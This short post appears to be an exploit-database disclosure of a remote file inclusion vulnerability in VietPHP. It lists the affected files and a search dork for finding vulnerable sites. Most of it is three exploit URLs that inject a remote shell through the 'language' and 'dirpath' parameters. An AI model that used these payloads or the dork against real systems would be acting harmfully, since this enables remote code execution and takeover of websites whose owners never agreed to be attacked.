VietPHP Remote File Inclusion Vulnerbility 

Vuln. code : 

in:

admin/index.php

/index.php

/_functions

DoRk: Powered by VietPHP

Exploit:

www.server.com/path/admin/index.php?language=Sh3LL 

www.server.com/index.php??language=Sh3LL 

www.server.com/_functions.php?dirpath=Sh3LL